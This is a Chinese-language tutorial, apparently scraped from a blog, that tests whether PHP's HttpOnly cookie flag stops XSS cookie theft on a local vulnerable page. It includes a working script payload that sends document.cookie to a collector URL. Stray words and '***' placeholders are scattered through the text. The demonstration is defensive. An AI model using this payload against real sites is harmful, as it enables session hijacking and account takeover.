***者利用XSS漏洞获取cookie或者session劫持,若是这里面包含了大量敏感信息(身份信息,管理员信息)等,***这里用获取的COOKIE登录帐号,并进行非法操做。php
COOKIE设置httponly属性能够化解XSS漏洞***带来的窃取cookie的危害。cookie
PHP中COOKIE设置方法:
session
<?php xss
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);ide
?>测试
最后一个字段false是为不设置httponly属性,true为已设置httponly属性。spa
测试内容:3d
本次测试环境,搭建一个包含XSS漏洞的php环境。日志
地址:http://localhost/home.php orm
如图所示:
存在xss漏洞,获取cookie的代码为:
<script>document.location = 'http://localhost/cookie_collect.php?cookie=' + document.cookie;</script>
获取COOKIE的页面为:http://localhost/cookie_collect.php
如图所示:
测试01
未设置httponly属性,cookie设置为:
<?php
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);
?>
测试结果:
获取到cookie的内容,如图所示:
访问日志内容为:
测试结果:利用跨站漏洞能够获取cookie内容。
测试02
设置httponly属性,cookie设置为:
<?php
setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);
?>
测试结果:
未获取到cookie的内容,如图所示:
访问日志内容为:
测试结果:利用跨站漏洞不可以获取cookie内容。